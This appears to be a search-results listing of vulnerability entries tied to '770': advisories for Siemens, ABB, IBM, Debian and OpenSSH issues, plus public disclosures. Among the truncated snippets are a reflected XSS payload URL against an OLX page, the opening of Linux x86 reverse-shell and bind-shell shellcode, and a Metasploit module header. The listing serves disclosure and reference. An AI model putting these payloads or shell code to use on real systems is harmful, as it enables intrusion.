Debian: Security Advisory (DLA-770)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2023 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Siemens SCALANCE SC-600 Family

1. EXECUTIVE SUMMARY CVSS v3 7.8 ATTENTION: Exploitable remotely/low attack complexity Vendor: Siemens Equipment: SCALANCE SC-600 Family Vulnerability: Out-of-bounds Write, Use After Free, Allocation of Resources Without Limits or Throttling 2. RISK EVALUATION Successful exploitation of this...

Siemens SCALANCE LPE9403 Third-Party Vulnerabilities

1. EXECUTIVE SUMMARY CVSS v3 9.8 ATTENTION: Exploitable remotely, low attack complexity Vendor: Siemens Equipment: SCALANCE LPE9403 Vulnerabilities: Multiple 2. RISK EVALUATION Successful exploitation of these vulnerabilities could cause crashes and unrestricted file access, impacting the...

curl: CVE-2022-32205: Set-Cookie denial of service

Summary: Curl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than DYNHTTPREQUEST memory, leading to instant CURLEOUTOFMEMORY. Any host in a given domain can...

sysutils/openzfs-kmod -- critical permissions issues

Andrew Walker reports: Issue 1: Users are always granted permissions to cd into a directory. The check for whether execute is present on directories is a de-facto no-op. This cannot be mitigated without upgrading. Even setting an explicit "deny - execute" NFSv4 ACE will be bypassed. Issue 2: All...

CVE-2018-17928

The product CMS-770 Software Versions 1.7.1 and prioris vulnerable that an attacker can read sensitive configuration files by bypassing the user authentication mechanism...

Authentication flaw

The product CMS-770 Software Versions 1.7.1 and prioris vulnerable that an attacker can read sensitive configuration files by bypassing the user authentication mechanism...

CVE-2018-17928

The product CMS-770 Software Versions 1.7.1 and prioris vulnerable that an attacker can read sensitive configuration files by bypassing the user authentication mechanism...

CVE-2018-17928

The CVE-2018-17928 entry concerns ABB CMS-770 (Software Versions 1.7.1 and earlier) with an improper authentication flaw that allows an attacker to read sensitive configuration files by bypassing the user authentication mechanism. Connected sources confirm affected product CMS-770 and versions, r...

CVE-2018-17928

The product CMS-770 Software Versions 1.7.1 and prioris vulnerable that an attacker can read sensitive configuration files by bypassing the user authentication mechanism...

ABB CMS-770

1. EXECUTIVE SUMMARY CVSS v3 8.8 ATTENTION: Exploitable from an adjacent network/low skill level to exploit Vendor: ABB Equipment: CMS-770 Vulnerabilities: Improper Authentication 2. RISK EVALUATION Successful exploitation of this vulnerability may allow an attacker to read sensitive...

topglove.com XSS vulnerability

Vulnerable URL: http://www.topglove.com/search-fs-770/?keyword=...

Amazon Linux AMI : openssh (ALAS-2016-770)

It was discovered that the OpenSSH sshd daemon fetched PAM environment settings before running the login program. In configurations with UseLogin=yes and the pamenv PAM module configured to read user environment settings, a local user could use this flaw to execute arbitrary code as root. C Tenab...

OLX: Reflective XSS at m.olx.ph

URL https://m.olx.ph/mobile-phones-tablets/ph-'alert1'%3E%3Cimg%20src=x%3Easdf?q=qwerty Injection happens on lines 769, 770 and repeated also at 1005, 1006 urlNoCategory = '/ph-'alert1'%3E%3Cimg%20src=x%3Easdf?q=qwerty'; urlNoLocation =...

Linux/x86 - zsh Reverse TCP Shellcode port 9090 (80 bytes)

/ ; ; Linux x86 ; Author: thryb ; Date: 21-07-16 ; Purpose: Reverse /bin/zsh to TCP port 9090 ; Size: 80 bytes ; ID: SLAE-770 ; Git: https://www.github.com/thryb/SLAE-770 ; global start section .text start: xor eax, eax ; cleaning registers xor ebx, ebx ; 1 - create socket ; socketAFINET,...

Linux/x86 - zsh TCP Bind Shell Port 9090 (96 bytes)

/ ; ; Linux x86 ; Author: thryb ; Date: 13-07-16 ; Purpose: Bind /bin/zsh to TCP port 9090 ; Size: 96 bytes ; ID: SLAE-770 ; Git: https://www.github.com/thryb/SLAE-770 ; global start section .text start: xor eax, eax ; cleaning registers for sanity xor ebx, ebx xor edx, edx xor edi, edi ; 1 -...

770.com Open Redirect vulnerability

Vulnerable URL: http://www.770.com/redirection.php?url=http://www.xssposed.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 21145805 Google Pagerank| 6 VIP website...

Code injection

Unspecified vulnerability on IBM Power 7 Systems 740 before 740.70 01Ax740121, 760 before 760.40 Ax760078, and 770 before 770.30 01Ax770062 allows local users to gain Service Processor privileges via unknown vectors...

CVE-2013-6306

CVE-2013-6306 concerns IBM Power 7 Systems (740 before 740.70 01Ax740_121; 760 before 760.40 Ax760_078; 770 before 770.30 01Ax770_062). The vulnerability allows local users to gain Service Processor privileges via unknown vectors. No root-cause, vector, or remediation details are provided beyond ...

Firefox XMLSerializer Use After Free

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Firefox...